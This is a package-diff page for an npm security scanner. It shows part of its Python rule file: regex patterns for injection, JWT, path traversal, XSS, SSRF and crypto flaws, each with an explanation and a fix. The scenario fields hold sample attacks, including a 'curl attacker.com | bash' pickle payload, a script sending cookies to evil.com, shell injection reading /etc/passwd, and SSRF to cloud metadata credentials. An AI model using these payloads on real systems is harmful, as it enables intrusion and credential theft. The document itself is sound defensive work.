@activemind/scd 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.md +35 -0
- package/README.md +417 -0
- package/bin/scd.js +140 -0
- package/lib/audit-report.js +93 -0
- package/lib/audit-sync.js +172 -0
- package/lib/audit.js +356 -0
- package/lib/cli-helpers.js +108 -0
- package/lib/commands/accept.js +28 -0
- package/lib/commands/audit.js +17 -0
- package/lib/commands/configure.js +200 -0
- package/lib/commands/doctor.js +14 -0
- package/lib/commands/exceptions.js +19 -0
- package/lib/commands/export-findings.js +46 -0
- package/lib/commands/findings.js +306 -0
- package/lib/commands/ignore.js +28 -0
- package/lib/commands/init.js +16 -0
- package/lib/commands/insights.js +24 -0
- package/lib/commands/install.js +15 -0
- package/lib/commands/list.js +109 -0
- package/lib/commands/remove.js +16 -0
- package/lib/commands/repo.js +862 -0
- package/lib/commands/report.js +234 -0
- package/lib/commands/resolve.js +25 -0
- package/lib/commands/rules.js +185 -0
- package/lib/commands/scan.js +519 -0
- package/lib/commands/scope.js +341 -0
- package/lib/commands/sync.js +40 -0
- package/lib/commands/uninstall.js +15 -0
- package/lib/commands/version.js +33 -0
- package/lib/comment-map.js +388 -0
- package/lib/config.js +325 -0
- package/lib/context-modifiers.js +211 -0
- package/lib/deep-analyzer.js +225 -0
- package/lib/doctor.js +236 -0
- package/lib/exception-manager.js +675 -0
- package/lib/export-findings.js +376 -0
- package/lib/file-context.js +380 -0
- package/lib/file-filter.js +204 -0
- package/lib/file-manifest.js +145 -0
- package/lib/git-utils.js +102 -0
- package/lib/global-config.js +239 -0
- package/lib/hooks-manager.js +130 -0
- package/lib/init-repo.js +147 -0
- package/lib/insights-analyzer.js +416 -0
- package/lib/insights-output.js +160 -0
- package/lib/installer.js +128 -0
- package/lib/output-constants.js +32 -0
- package/lib/output-terminal.js +407 -0
- package/lib/push-queue.js +322 -0
- package/lib/remove-repo.js +108 -0
- package/lib/repo-context.js +187 -0
- package/lib/report-html.js +1154 -0
- package/lib/report-index.js +157 -0
- package/lib/report-json.js +136 -0
- package/lib/report-markdown.js +250 -0
- package/lib/resolve-manager.js +148 -0
- package/lib/rule-registry.js +205 -0
- package/lib/scan-cache.js +171 -0
- package/lib/scan-context.js +312 -0
- package/lib/scan-schema.js +67 -0
- package/lib/scanner-full.js +681 -0
- package/lib/scanner-manual.js +348 -0
- package/lib/scanner-secrets.js +83 -0
- package/lib/scope.js +331 -0
- package/lib/store-verify.js +395 -0
- package/lib/store.js +310 -0
- package/lib/taint-register.js +196 -0
- package/lib/version-check.js +46 -0
- package/package.json +37 -0
- package/rules/rule-loader.js +324 -0
- package/rules/rules-aspx-cs.json +399 -0
- package/rules/rules-aspx.json +222 -0
- package/rules/rules-infra-leakage.json +434 -0
- package/rules/rules-js.json +664 -0
- package/rules/rules-php.json +521 -0
- package/rules/rules-python.json +466 -0
- package/rules/rules-secrets.json +99 -0
- package/rules/rules-sensitive-files.json +475 -0
- package/rules/rules-ts.json +76 -0
|
@@ -0,0 +1,466 @@
|
|
|
1
|
+
{
|
|
2
|
+
"schema_version": 1,
|
|
3
|
+
"rules": [
|
|
4
|
+
{
|
|
5
|
+
"id": "PY-INJ-001",
|
|
6
|
+
"variant": "direct",
|
|
7
|
+
"name": "SQL Injection – string formatting in query",
|
|
8
|
+
"severity": "CRITICAL",
|
|
9
|
+
"category": "Injection (OWASP A03)",
|
|
10
|
+
"pattern": "(?:execute|executemany)\\s*\\(\\s*(?:[f]['\\\"]|['\\\"][^'\\\"]*(?:%s|%d|{)[^'\\\"]*['\\\"]|['\\\"][^'\\\"]*['\\\"]\\\\.format\\s*\\()",
|
|
11
|
+
"flags": "g",
|
|
12
|
+
"file_types": [
|
|
13
|
+
"py"
|
|
14
|
+
],
|
|
15
|
+
"why": "Python string formatting is used to build SQL queries with user input.",
|
|
16
|
+
"scenario": "An attacker sends ' OR '1'='1 as a parameter and gains access to the entire database.",
|
|
17
|
+
"fix": "Always use parameterised queries: cursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))"
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"id": "PY-INJ-002",
|
|
21
|
+
"variant": "direct",
|
|
22
|
+
"name": "Command Injection – subprocess with shell=True and user input",
|
|
23
|
+
"severity": "CRITICAL",
|
|
24
|
+
"category": "Injection (OWASP A03)",
|
|
25
|
+
"pattern": "(?:os\\.system|os\\.popen)\\s*\\(\\s*(?:[f]['\\\"]|(?:cmd|command|input|user_input|request\\.|args\\.|kwargs\\.))|subprocess\\.(?:call|run|Popen|check_output)\\s*\\([^)]*shell\\s*=\\s*True[^)]*[f]['\\\"][^)]*\\)|subprocess\\.(?:call|run|Popen|check_output)\\s*\\([^)]*[f]['\\\"][^)]*shell\\s*=\\s*True",
|
|
26
|
+
"flags": "g",
|
|
27
|
+
"file_types": [
|
|
28
|
+
"py"
|
|
29
|
+
],
|
|
30
|
+
"why": "Shell commands built with user input and executed with shell=True allow attackers to inject arbitrary shell commands.",
|
|
31
|
+
"scenario": "An attacker sends \"; cat /etc/passwd\" as input and the server executes it as a shell command.",
|
|
32
|
+
"fix": "Use subprocess with a list instead of a string: subprocess.run([\"ls\", path], shell=False). Never pass shell=True with user input."
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
"id": "PY-INJ-003",
|
|
36
|
+
"name": "Unsafe deserialisation – pickle.loads",
|
|
37
|
+
"severity": "CRITICAL",
|
|
38
|
+
"category": "Insecure Deserialization (OWASP A08)",
|
|
39
|
+
"pattern": "pickle\\.(?:loads|load|Unpickler)\\s*\\(",
|
|
40
|
+
"flags": "g",
|
|
41
|
+
"file_types": [
|
|
42
|
+
"py"
|
|
43
|
+
],
|
|
44
|
+
"why": "pickle.loads() can execute arbitrary Python code when deserialising untrusted data.",
|
|
45
|
+
"scenario": "An attacker sends a crafted pickle object that on deserialisation executes os.system(\"curl attacker.com | bash\").",
|
|
46
|
+
"fix": "Never use pickle for data from external sources. Use JSON, msgpack or signed formats instead."
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
"id": "PY-INJ-001",
|
|
50
|
+
"variant": "taint",
|
|
51
|
+
"name": "SQL Injection – tainted variable in query",
|
|
52
|
+
"severity": "CRITICAL",
|
|
53
|
+
"category": "Injection (OWASP A03)",
|
|
54
|
+
"taint_aware": true,
|
|
55
|
+
"taint_extract": "func_concat",
|
|
56
|
+
"pattern": "(?:execute|executemany)\\s*\\(\\s*[^\\n'\\\"]{0,200}",
|
|
57
|
+
"flags": "g",
|
|
58
|
+
"antipattern": "execute\\s*\\(\\s*['\\\"]s*(?:SELECT|INSERT|UPDATE|DELETE)[^'\\\"]*(?:\\?|%s)\\s*['\\\"][^)]*\\)|execute\\s*\\(\\s*['\\\"]s*(?:SELECT|INSERT|UPDATE|DELETE)[^'\\\"]*['\\\"],\\s*[(\\[]",
|
|
59
|
+
"antipattern_flags": "i",
|
|
60
|
+
"file_types": [
|
|
61
|
+
"py"
|
|
62
|
+
],
|
|
63
|
+
"why": "A variable assigned from request input is passed into a database query without parameterisation.",
|
|
64
|
+
"scenario": "user_id = request.args.get(\"id\") followed by cursor.execute(\"SELECT ... WHERE id = \" + user_id) — attacker injects arbitrary SQL.",
|
|
65
|
+
"fix": "Use parameterised queries: cursor.execute(\"SELECT * FROM users WHERE id = %s\", (user_id,))"
|
|
66
|
+
},
|
|
67
|
+
{
|
|
68
|
+
"id": "PY-INJ-002",
|
|
69
|
+
"variant": "taint",
|
|
70
|
+
"name": "Command Injection – tainted variable in shell command",
|
|
71
|
+
"severity": "CRITICAL",
|
|
72
|
+
"category": "Injection (OWASP A03)",
|
|
73
|
+
"taint_aware": true,
|
|
74
|
+
"taint_extract": "func_concat",
|
|
75
|
+
"pattern": "(?:os\\.system|os\\.popen|subprocess\\.(?:call|run|Popen|check_output))\\s*\\(\\s*[^\\n]{0,200}",
|
|
76
|
+
"flags": "g",
|
|
77
|
+
"antipattern": "shell\\s*=\\s*False|\\bshlex\\.quote\\b|^\\s*#",
|
|
78
|
+
"file_types": [
|
|
79
|
+
"py"
|
|
80
|
+
],
|
|
81
|
+
"why": "A variable assigned from request input is passed to a shell command without sanitisation.",
|
|
82
|
+
"scenario": "cmd = request.args.get(\"cmd\") followed by os.system(cmd) — attacker executes arbitrary system commands.",
|
|
83
|
+
"fix": "Never pass user input to shell commands. Use subprocess with a list and shell=False."
|
|
84
|
+
},
|
|
85
|
+
{
|
|
86
|
+
"id": "PY-INJ-006",
|
|
87
|
+
"name": "Unparameterized query – dynamic string construction",
|
|
88
|
+
"severity": "HIGH",
|
|
89
|
+
"category": "Injection (OWASP A03)",
|
|
90
|
+
"pattern": "(?:execute|executemany)\\s*\\((?!\\s*['\\\"][^'\\\"]*['\\\"],\\s*[(\\[])(?:[^)]{0,400})(?:\\.format\\s*\\(|['\\\"]\\s*\\+\\s*\\w|\\w\\s*\\+\\s*['\\\"])",
|
|
91
|
+
"flags": "g",
|
|
92
|
+
"file_types": [
|
|
93
|
+
"py"
|
|
94
|
+
],
|
|
95
|
+
"why": "The SQL query is constructed with string formatting or concatenation. Even if the current values are safe, this pattern makes future SQL injection vulnerabilities likely.",
|
|
96
|
+
"scenario": "A developer adds a new parameter later and follows the same pattern — one dynamic value without parameterisation exposes the entire query to injection.",
|
|
97
|
+
"fix": "Always use parameterised queries: cursor.execute(\"SELECT * FROM t WHERE id = %s\", (user_id,)) — the database driver handles escaping safely."
|
|
98
|
+
},
|
|
99
|
+
{
|
|
100
|
+
"id": "PY-AUTH-001",
|
|
101
|
+
"name": "Flask route missing authentication decorator",
|
|
102
|
+
"severity": "HIGH",
|
|
103
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
104
|
+
"pattern": "@app\\.route\\s*\\([^)]+\\)\\s*\\ndef\\s+\\w+\\s*\\([^)]*\\)\\s*:",
|
|
105
|
+
"flags": "g",
|
|
106
|
+
"antipattern": "@(?:login_required|jwt_required|token_required|permission_required|roles_required)",
|
|
107
|
+
"lookahead": 50,
|
|
108
|
+
"file_types": [
|
|
109
|
+
"py"
|
|
110
|
+
],
|
|
111
|
+
"why": "Flask route is missing an authentication decorator — the endpoint can be reached without logging in.",
|
|
112
|
+
"scenario": "Anyone can call the endpoint directly and access protected data or functionality.",
|
|
113
|
+
"fix": "Add @login_required (Flask-Login) or @jwt_required (Flask-JWT) above the route function."
|
|
114
|
+
},
|
|
115
|
+
{
|
|
116
|
+
"id": "PY-AUTH-002",
|
|
117
|
+
"name": "Mass assignment – **request.form / **request.json",
|
|
118
|
+
"severity": "HIGH",
|
|
119
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
120
|
+
"pattern": "(?:Model|create|update)\\s*\\(\\s*\\*\\*(?:request\\.(?:form|json|data|args)|kwargs)\\s*\\)",
|
|
121
|
+
"flags": "g",
|
|
122
|
+
"file_types": [
|
|
123
|
+
"py"
|
|
124
|
+
],
|
|
125
|
+
"why": "The entire request object is passed to the model without filtering allowed fields.",
|
|
126
|
+
"scenario": "An attacker adds is_admin=True to their request and gains administrator privileges if the field exists in the model.",
|
|
127
|
+
"fix": "Explicitly whitelist which fields may be set: User(name=data[\"name\"], email=data[\"email\"])"
|
|
128
|
+
},
|
|
129
|
+
{
|
|
130
|
+
"id": "PY-AUTH-003",
|
|
131
|
+
"name": "IDOR – object fetched without ownership check",
|
|
132
|
+
"severity": "HIGH",
|
|
133
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
134
|
+
"pattern": "(?:get_or_404|get|filter_by\\s*\\(\\s*id\\s*=)\\s*\\(\\s*(?:request\\.|kwargs\\[|args\\[)",
|
|
135
|
+
"flags": "g",
|
|
136
|
+
"antipattern": "(?:user_id|owner_id|created_by)\\s*=",
|
|
137
|
+
"lookahead": 200,
|
|
138
|
+
"file_types": [
|
|
139
|
+
"py"
|
|
140
|
+
],
|
|
141
|
+
"why": "Objects are fetched directly with an ID from the request without verifying that the user owns them.",
|
|
142
|
+
"scenario": "A user can change the ID in the URL and access another user's data.",
|
|
143
|
+
"fix": "Always filter by owner: Object.query.filter_by(id=obj_id, user_id=current_user.id).first_or_404()"
|
|
144
|
+
},
|
|
145
|
+
{
|
|
146
|
+
"id": "PY-CRYPTO-001",
|
|
147
|
+
"name": "Weak password hashing algorithm (MD5/SHA1)",
|
|
148
|
+
"severity": "HIGH",
|
|
149
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
150
|
+
"pattern": "hashlib\\.(?:md5|sha1)\\s*\\(\\s*(?:password|passwd|pwd|secret)",
|
|
151
|
+
"flags": "gi",
|
|
152
|
+
"file_types": [
|
|
153
|
+
"py"
|
|
154
|
+
],
|
|
155
|
+
"why": "MD5 and SHA1 are cryptographically broken and unsuitable for password hashing.",
|
|
156
|
+
"scenario": "An attacker who steals your database can crack MD5-hashed passwords using rainbow tables in seconds.",
|
|
157
|
+
"fix": "Use bcrypt or argon2: from passlib.hash import bcrypt; bcrypt.hash(password)"
|
|
158
|
+
},
|
|
159
|
+
{
|
|
160
|
+
"id": "PY-CRYPTO-002",
|
|
161
|
+
"name": "Hardcoded secret key in Django/Flask",
|
|
162
|
+
"severity": "CRITICAL",
|
|
163
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
164
|
+
"pattern": "SECRET_KEY\\s*=\\s*['\\\"][^'\\\"]{8,}['\\\"]",
|
|
165
|
+
"flags": "g",
|
|
166
|
+
"antipattern": "os\\.(?:environ|getenv)|config\\[",
|
|
167
|
+
"lookahead": 10,
|
|
168
|
+
"file_types": [
|
|
169
|
+
"py"
|
|
170
|
+
],
|
|
171
|
+
"why": "A hardcoded SECRET_KEY in the settings file is exposed in version control and to everyone with repository access.",
|
|
172
|
+
"scenario": "With the SECRET_KEY an attacker can sign their own session cookies or CSRF tokens and hijack any user session.",
|
|
173
|
+
"fix": "Read from environment variable: SECRET_KEY = os.environ.get('SECRET_KEY') and store in .env (outside git)."
|
|
174
|
+
},
|
|
175
|
+
{
|
|
176
|
+
"id": "PY-SECRET-001",
|
|
177
|
+
"name": "Hardcoded database connection string with password",
|
|
178
|
+
"severity": "HIGH",
|
|
179
|
+
"category": "Security Misconfiguration (OWASP A05)",
|
|
180
|
+
"pattern": "(?:DATABASE_URL|SQLALCHEMY_DATABASE_URI|db_url)\\s*=\\s*['\\\"](?:postgres|mysql|mongodb):\\/\\/[^:'\\\"]+:[^@'\\\"]+@",
|
|
181
|
+
"flags": "gi",
|
|
182
|
+
"file_types": [
|
|
183
|
+
"py"
|
|
184
|
+
],
|
|
185
|
+
"why": "The database connection string containing the password is hardcoded in the source code.",
|
|
186
|
+
"scenario": "Anyone with read access to the repository — including former employees and external contractors — now has the database password.",
|
|
187
|
+
"fix": "Use an environment variable: DATABASE_URL = os.environ.get('DATABASE_URL')"
|
|
188
|
+
},
|
|
189
|
+
{
|
|
190
|
+
"id": "PY-JWT-001",
|
|
191
|
+
"name": "JWT decoded without signature verification",
|
|
192
|
+
"severity": "CRITICAL",
|
|
193
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
194
|
+
"pattern": "jwt\\.decode\\s*\\([^)]{0,300}(?:options\\s*=\\s*\\{[^}]*[\\\"']verify_signature[\\\"']\\s*:\\s*False|algorithms\\s*=\\s*\\[[^\\]]*[\\\"']none[\\\"']|,\\s*None\\s*[,)])",
|
|
195
|
+
"flags": "gi",
|
|
196
|
+
"file_types": [
|
|
197
|
+
"py"
|
|
198
|
+
],
|
|
199
|
+
"why": "Disabling signature verification means anyone can forge a JWT with arbitrary claims — including elevated roles or another user's identity — without knowing the secret key.",
|
|
200
|
+
"scenario": "AI generates jwt.decode(token, options={\"verify_signature\": False}) to \"simplify\" token parsing. An attacker crafts a token with {\"role\": \"admin\", \"user_id\": 1} and accesses any endpoint.",
|
|
201
|
+
"fix": "Always verify: jwt.decode(token, SECRET_KEY, algorithms=[\"HS256\"]). Never pass verify_signature=False or algorithms=[\"none\"] in production code."
|
|
202
|
+
},
|
|
203
|
+
{
|
|
204
|
+
"id": "PY-JWT-002",
|
|
205
|
+
"name": "JWT accepted with algorithm \"none\" – signature bypassed",
|
|
206
|
+
"severity": "CRITICAL",
|
|
207
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
208
|
+
"pattern": "(?:algorithm|algorithms)\\s*=\\s*\\[?[^\\]]*?[\\\"']none[\\\"']",
|
|
209
|
+
"flags": "gi",
|
|
210
|
+
"file_types": [
|
|
211
|
+
"py"
|
|
212
|
+
],
|
|
213
|
+
"why": "The \"none\" algorithm means the JWT has no signature at all. Any client can issue a token with arbitrary claims and the server will accept it as valid.",
|
|
214
|
+
"scenario": "A configuration accepts algorithms=[\"HS256\", \"none\"]. An attacker strips the signature from a valid token, changes the payload, and re-submits. The server accepts it.",
|
|
215
|
+
"fix": "Explicitly allowlist only strong algorithms: algorithms=[\"HS256\"] or algorithms=[\"RS256\"]. Never include \"none\" in the list."
|
|
216
|
+
},
|
|
217
|
+
{
|
|
218
|
+
"id": "PY-REDIRECT-001",
|
|
219
|
+
"name": "Open redirect – user-controlled URL passed to redirect()",
|
|
220
|
+
"severity": "HIGH",
|
|
221
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
222
|
+
"pattern": "(?:redirect|HttpResponseRedirect|HttpResponsePermanentRedirect)\\s*\\(\\s*(?:request\\.(?:args|form|GET|POST|values)\\s*(?:\\.get\\s*\\([^)]+\\)|\\[[^\\]]+\\])|(?:next|next_url|return_url|redirect_url|target|destination)\\s*(?=[,)]))",
|
|
223
|
+
"flags": "g",
|
|
224
|
+
"antipattern": "(?:url_for|urlparse|is_safe_url|allowed_hosts|startswith\\s*\\(['\\\"]\\/)",
|
|
225
|
+
"lookahead": 200,
|
|
226
|
+
"file_types": [
|
|
227
|
+
"py"
|
|
228
|
+
],
|
|
229
|
+
"why": "Redirecting to a URL taken directly from user input enables phishing attacks. An attacker crafts a link to your site that silently forwards victims to a malicious site after login.",
|
|
230
|
+
"scenario": "Login endpoint does redirect(request.args.get(\"next\")). Attacker shares link: /login?next=https://evil.com. After login, user is redirected to the attacker's phishing page.",
|
|
231
|
+
"fix": "Validate the redirect target: use url_for() for internal routes, or check with urllib.parse that the host matches your own domain before redirecting."
|
|
232
|
+
},
|
|
233
|
+
{
|
|
234
|
+
"id": "PY-PATH-001",
|
|
235
|
+
"variant": "direct",
|
|
236
|
+
"name": "Path traversal – user input used directly in file open()",
|
|
237
|
+
"severity": "CRITICAL",
|
|
238
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
239
|
+
"pattern": "open\\s*\\(\\s*(?:request\\.(?:args|form|GET|POST|values|files)\\s*(?:\\.get\\s*\\([^)]+\\)|\\[[^\\]]+\\])|flask\\.request\\.|g\\.get\\s*\\([^)]*(?:file|path|name)|f['\\\"][^'\\\"]*\\{\\s*(?:filename|filepath|file_name|file_path|name|path|user_input|input)\\s*[}]|(?:base_?dir|upload_?dir|root_?dir|base_?path)\\s*\\+\\s*(?:filename|filepath|name|path|user_input)|os\\.path\\.join\\s*\\([^)]*request\\.)",
|
|
240
|
+
"flags": "g",
|
|
241
|
+
"file_types": [
|
|
242
|
+
"py"
|
|
243
|
+
],
|
|
244
|
+
"why": "Using web request input as a file path without sanitization allows attackers to read arbitrary files using path traversal sequences like ../../etc/passwd.",
|
|
245
|
+
"scenario": "Endpoint reads open(request.args.get(\"file\")). Attacker requests ?file=../../etc/passwd and receives the system password file.",
|
|
246
|
+
"fix": "Use os.path.basename() to strip directory components, then join to a fixed base path: safe_path = os.path.join(UPLOAD_DIR, os.path.basename(filename)). Verify the result still starts with UPLOAD_DIR."
|
|
247
|
+
},
|
|
248
|
+
{
|
|
249
|
+
"id": "PY-PATH-002",
|
|
250
|
+
"name": "Path traversal – user input in Flask send_file()",
|
|
251
|
+
"severity": "CRITICAL",
|
|
252
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
253
|
+
"pattern": "send_file\\s*\\(\\s*(?:request\\.(?:args|form|GET|POST)\\s*(?:\\.get\\s*\\([^)]+\\)|\\[[^\\]]+\\])|os\\.path\\.join\\s*\\([^)]*(?:request\\.|args\\.|filename))",
|
|
254
|
+
"flags": "g",
|
|
255
|
+
"file_types": [
|
|
256
|
+
"py"
|
|
257
|
+
],
|
|
258
|
+
"why": "Flask's send_file() will serve any file the process has read access to. With user-controlled paths, attackers can download source code, config files, or credentials.",
|
|
259
|
+
"scenario": "Endpoint calls send_file(request.args.get(\"name\")). Attacker requests ?name=../../config/settings.py and downloads the application source including SECRET_KEY.",
|
|
260
|
+
"fix": "Use send_from_directory() with a fixed directory and basename only: send_from_directory(UPLOAD_DIR, os.path.basename(filename)). Never pass user input directly to send_file()."
|
|
261
|
+
},
|
|
262
|
+
{
|
|
263
|
+
"id": "PY-PATH-001",
|
|
264
|
+
"variant": "taint",
|
|
265
|
+
"name": "Path traversal – tainted variable used in file open()",
|
|
266
|
+
"severity": "CRITICAL",
|
|
267
|
+
"category": "Broken Access Control (OWASP A01)",
|
|
268
|
+
"taint_aware": true,
|
|
269
|
+
"taint_extract": "func_concat",
|
|
270
|
+
"pattern": "open\\s*\\(\\s*[^\\n]{0,200}",
|
|
271
|
+
"flags": "g",
|
|
272
|
+
"antipattern": "os\\.path\\.basename|os\\.path\\.join\\s*\\([^)]*(?:UPLOAD|BASE|SAFE|ROOT)_DIR|send_from_directory",
|
|
273
|
+
"antipattern_flags": "i",
|
|
274
|
+
"file_types": [
|
|
275
|
+
"py"
|
|
276
|
+
],
|
|
277
|
+
"why": "A variable assigned from request input is used as a file path without sanitisation.",
|
|
278
|
+
"scenario": "filename = request.args.get(\"file\") followed by open(filename) — attacker requests ?file=../../etc/passwd.",
|
|
279
|
+
"fix": "Use os.path.basename() and join to a fixed directory: os.path.join(UPLOAD_DIR, os.path.basename(filename)). Verify result starts with UPLOAD_DIR."
|
|
280
|
+
},
|
|
281
|
+
{
|
|
282
|
+
"id": "PY-CRYPTO-003",
|
|
283
|
+
"name": "Weak random generator used for security-sensitive value",
|
|
284
|
+
"severity": "HIGH",
|
|
285
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
286
|
+
"pattern": "random\\.(?:random|randint|randrange|choice|choices|shuffle)\\s*\\([^)]{0,60}\\)[\\s\\S]{0,150}(?:token|password|secret|otp|code|csrf|nonce|salt|key|session)|\\b(?:token|password|secret|otp|code|csrf|nonce|salt|key|session)\\b[\\s\\S]{0,150}random\\.(?:random|randint|randrange|choice|choices)\\s*\\(",
|
|
287
|
+
"flags": "gi",
|
|
288
|
+
"file_types": [
|
|
289
|
+
"py"
|
|
290
|
+
],
|
|
291
|
+
"why": "Python's random module uses the Mersenne Twister algorithm — a PRNG designed for simulations, not security. With 624 observed 32-bit outputs an attacker can fully reconstruct its internal state and predict all future values.",
|
|
292
|
+
"scenario": "token = \"\".join(random.choices(string.ascii_letters, k=32)) used as a password-reset token. The Mersenne Twister state can be recovered from enough observed tokens, making all future tokens predictable.",
|
|
293
|
+
"fix": "Use the secrets module (Python 3.6+): import secrets; token = secrets.token_hex(32). For random integers: secrets.randbelow(1000000). The secrets module uses os.urandom() which reads from the OS CSPRNG."
|
|
294
|
+
},
|
|
295
|
+
{
|
|
296
|
+
"id": "PY-CRYPTO-004",
|
|
297
|
+
"name": "Hardcoded encryption key or IV in crypto operation",
|
|
298
|
+
"severity": "CRITICAL",
|
|
299
|
+
"category": "Cryptographic Failures (OWASP A02)",
|
|
300
|
+
"pattern": "(?:AES\\.new|Cipher\\s*\\(\\s*algorithms\\.AES|Fernet\\s*\\()\\s*\\(\\s*b?['\\\"][a-zA-Z0-9+\\/=\\-_]{8,}['\\\"]",
|
|
301
|
+
"flags": "g",
|
|
302
|
+
"antipattern": "os\\.environ|config\\.|getenv",
|
|
303
|
+
"antipattern_flags": "i",
|
|
304
|
+
"lookahead": 60,
|
|
305
|
+
"file_types": [
|
|
306
|
+
"py"
|
|
307
|
+
],
|
|
308
|
+
"why": "Hardcoding an AES key in source code exposes it to everyone with repository access. A static key also means key rotation requires a code deploy and re-encryption of all stored data.",
|
|
309
|
+
"scenario": "cipher = AES.new(b\"mysecretkey12345\", AES.MODE_CBC, b\"myiv1234myiv1234\") in source. Attacker reads key from GitHub, decrypts all data encrypted with it.",
|
|
310
|
+
"fix": "key = bytes.fromhex(os.environ[\"ENCRYPTION_KEY\"]) # generate: python -c \"import os; print(os.urandom(32).hex())\"\nFor IV: iv = os.urandom(16) # fresh IV per encryption, stored alongside ciphertext."
|
|
311
|
+
},
|
|
312
|
+
{
|
|
313
|
+
"id": "PY-XSS-001",
|
|
314
|
+
"name": "Jinja2 |safe filter applied to user-controlled value — XSS",
|
|
315
|
+
"severity": "HIGH",
|
|
316
|
+
"category": "Injection (OWASP A03)",
|
|
317
|
+
"pattern": "\\{\\{\\s*(?:request\\s*\\.\\s*(?:args|form|json|values)|[\\w.]+(?:input|user|name|comment|bio|content|query|search|message)[\\w.]*)\\s*\\|?\\s*safe\\s*\\}\\}|Markup\\s*\\(\\s*(?:request\\s*\\.|[\\w.]+(?:input|user|body))",
|
|
318
|
+
"flags": "gi",
|
|
319
|
+
"file_types": [
|
|
320
|
+
"py",
|
|
321
|
+
"html"
|
|
322
|
+
],
|
|
323
|
+
"why": "The |safe filter in Jinja2 tells the template engine to render the value as raw HTML without escaping. If the value contains attacker-controlled content, any HTML including <script> tags is rendered in the browser.",
|
|
324
|
+
"scenario": "{{ user.bio | safe }} renders a user profile bio without escaping. Attacker sets their bio to <script>fetch(\"https://evil.com/steal?c=\"+document.cookie)</script>. Every visitor who views the profile executes the script.",
|
|
325
|
+
"fix": "Never use |safe on user-supplied data. Jinja2 escapes by default — let it. If you need to render rich content, sanitize first with bleach: import bleach; clean = bleach.clean(user_input, tags=[\"p\",\"b\",\"i\"], strip=True); then pass clean to the template without |safe."
|
|
326
|
+
},
|
|
327
|
+
{
|
|
328
|
+
"id": "PY-XSS-002",
|
|
329
|
+
"name": "render_template_string() with user input — XSS and SSTI",
|
|
330
|
+
"severity": "CRITICAL",
|
|
331
|
+
"category": "Injection (OWASP A03)",
|
|
332
|
+
"pattern": "render_template_string\\s*\\(\\s*(?:request\\s*\\.|f['\\\"]|[\\w.]*(?:input|user|body|data|content|query))",
|
|
333
|
+
"flags": "gi",
|
|
334
|
+
"file_types": [
|
|
335
|
+
"py"
|
|
336
|
+
],
|
|
337
|
+
"why": "render_template_string() compiles and executes a Jinja2 template from a string at runtime. If user input is part of the template string (not just a variable value), the attacker can inject Jinja2 expressions to read app secrets or achieve remote code execution.",
|
|
338
|
+
"scenario": "render_template_string(f\"Hello {request.args['name']}!\") — attacker passes name={{config}} and receives the Flask app configuration including SECRET_KEY. With further payloads, full RCE is possible.",
|
|
339
|
+
"fix": "Never pass user input as part of the template string itself. Use render_template() with a static template file and pass user data as variables: return render_template(\"hello.html\", name=request.args[\"name\"])."
|
|
340
|
+
},
|
|
341
|
+
{
|
|
342
|
+
"id": "PY-XSS-003",
|
|
343
|
+
"name": "Django mark_safe() applied to user-controlled value — XSS",
|
|
344
|
+
"severity": "HIGH",
|
|
345
|
+
"category": "Injection (OWASP A03)",
|
|
346
|
+
"pattern": "mark_safe\\s*\\(\\s*(?:request\\s*\\.\\s*(?:GET|POST|META)|[\\w.]*(?:input|user|comment|bio|content|body|message|name)[\\w.]*(?:\\.get\\s*\\(|\\.data)?)",
|
|
347
|
+
"flags": "gi",
|
|
348
|
+
"file_types": [
|
|
349
|
+
"py"
|
|
350
|
+
],
|
|
351
|
+
"why": "Django's mark_safe() tells the template engine that the string is safe to render as HTML without escaping. If the input comes from user data, attackers can inject arbitrary HTML and JavaScript.",
|
|
352
|
+
"scenario": "mark_safe(user.bio) in a view or serializer. Bio contains <img src=x onerror=alert(document.cookie)>. When rendered in any template, the browser executes the payload and exfiltrates session cookies.",
|
|
353
|
+
"fix": "Do not call mark_safe() on user data. Django escapes template variables by default. For rich text: use bleach to sanitize to an allowlist of safe HTML tags before storing."
|
|
354
|
+
},
|
|
355
|
+
{
|
|
356
|
+
"id": "PY-SSRF-001",
|
|
357
|
+
"name": "SSRF — user-controlled URL passed to requests or urllib",
|
|
358
|
+
"severity": "HIGH",
|
|
359
|
+
"category": "Server-Side Request Forgery (OWASP A10)",
|
|
360
|
+
"pattern": "(?:requests\\s*\\.\\s*(?:get|post|put|delete|request|head)|urllib\\s*\\.\\s*request\\s*\\.\\s*urlopen|httpx\\s*\\.\\s*(?:get|post|AsyncClient))\\s*\\(\\s*(?:request\\s*\\.\\s*(?:args|form|json|values)|[\\w.]*(?:url|endpoint|target|host|webhook)[\\s\\S]{0,60}request\\s*\\.)",
|
|
361
|
+
"flags": "gi",
|
|
362
|
+
"file_types": [
|
|
363
|
+
"py"
|
|
364
|
+
],
|
|
365
|
+
"why": "Server-Side Request Forgery allows attackers to make the application send HTTP requests to internal infrastructure. Cloud environments are particularly vulnerable — the metadata endpoint at 169.254.169.254 exposes IAM credentials.",
|
|
366
|
+
"scenario": "requests.get(request.args.get(\"url\")) to fetch a remote image. Attacker passes url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name. Server returns AWS keys.",
|
|
367
|
+
"fix": "Validate the URL before making the request: from urllib.parse import urlparse; parsed = urlparse(url); assert parsed.scheme in (\"http\",\"https\") and parsed.hostname in ALLOWED_HOSTS."
|
|
368
|
+
},
|
|
369
|
+
{
|
|
370
|
+
"id": "PY-INJ-004",
|
|
371
|
+
"name": "Unsafe YAML deserialization — yaml.load() without SafeLoader",
|
|
372
|
+
"severity": "CRITICAL",
|
|
373
|
+
"category": "Injection (OWASP A03)",
|
|
374
|
+
